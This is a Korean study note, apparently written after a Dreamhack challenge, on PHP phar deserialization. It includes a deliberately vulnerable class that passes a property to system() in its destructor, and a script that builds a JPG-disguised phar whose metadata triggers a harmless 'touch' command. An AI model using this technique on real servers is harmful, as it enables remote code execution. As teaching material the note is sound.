최근에 드림핵 문제를 Phar Deserialization 취약점을 알게되어서 정리하고자 합니다.
What is PHAR & Deserialization
PHAR
What is phar? Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server
. Phar is kind of like a thumb drive for PHP applications.
Phar 파일안에 직렬화된 메타데이터 형식을 포함되어 있어 역직렬화 취약점 공격에 악용될 수 있습니다.
아래의 함수에도 역직렬화가 발생합니다. ‘'’php file_get_contents() fopen() file() file_exists() md5_file() filemtime() filesize(). ‘’’
Deserialization
역직렬화는 직렬화된 데이터를 원본 데이터로 변환하는 작업
을 의미합니다. 직렬화는 데이터(객체, 배열, 변수등등)을 스트림데이터로 변환하는 작업을 의미합니다.
Attack Point
드림핵에 풀었던 문제는 php에 클래스가 구현되어있고, 함수(file_get_contents())를 사용합니다.
phar schme을 이용하여 phar(jpg,png 확장자도 상관없음) 파일을 함수를 통해 불러올때 역직렬화 취약점을 이용한 공격이 가능합니다.
Example Code
vuln.php
예시 코드를 통해 설명을 하겠습니다. 아래의 php 코드는 AnyClass
란 클래스가 구현되어 있습니다.
외부에서 $data 변수를 컨트롤이 가능하며 소멸자__destruct()
를 이용하여 명령어($data) 실행이 가능합니다.
그리고 filesize
함수를 사용하여 phar scheme을 사용하여 test.phar 파일을 가져와 파일크기를 계산합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #공격자는 파일 경로에 대한 컨트롤(입력)이 가능해야함
create_phar.php
해당 코드는 phar 파일을 만들기 위한 코드입니다.
위에서본 vuln.php와 클래스를 똑같이 구현합니다., phar 구조를 잘맞춰주고 touch라는 명령어를 실행하도록 합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
// 스텁 코드 앞에는 jpg의 매직바이트임
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('touch phartest.txt');
$phar->setMetadata($object);
$phar->stopBuffering();
phar Create
phar 파일을 만들때 기본적으로 php.readonly=0
을 해줘야 가능합니다.
1
php --define phar.readonly=0 create_phar.php
Exploit
참고
PHP 8.0의 보안 개선 사항은 Phar 스트림 래퍼( phar://)가 더 이상 스트림 래퍼 작업에서 unserialize를 자동으로 호출하지 않는다는 것입니다.
- https://php.watch/versions/8.0/phar-stream-wrapper-unserialize
Reference
- https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization